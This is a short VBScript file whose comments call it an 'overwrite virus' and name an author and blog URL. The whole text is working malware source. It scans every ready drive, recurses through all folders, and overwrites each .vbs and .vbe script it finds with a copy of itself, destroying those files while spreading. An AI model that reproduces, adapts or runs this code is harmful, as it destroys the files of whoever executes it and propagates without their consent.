rem vbscript overwrite virus
rem created by reza goodarzi
rem url:www.iranianvirus.blogfa.com
set fso = createobject("scripting.filesystemobject")
set drives=fso.drives 
for each drive in drives
if drive.isready then
search drive & "\"
end If 
next 
function search(path)
set folder=fso.getfolder(path)
set files = folder.files
for each file in files
reza=fso.getextensionname(file.path)
reza=lcase(reza)
if (reza="vbs") or (reza="vbe") then
fso.copyfile wscript.scriptfullname,file.path
end if
next
set subfolders = folder.subfolders
for each subfolder in subfolders
search subfolder.path 
Next
end function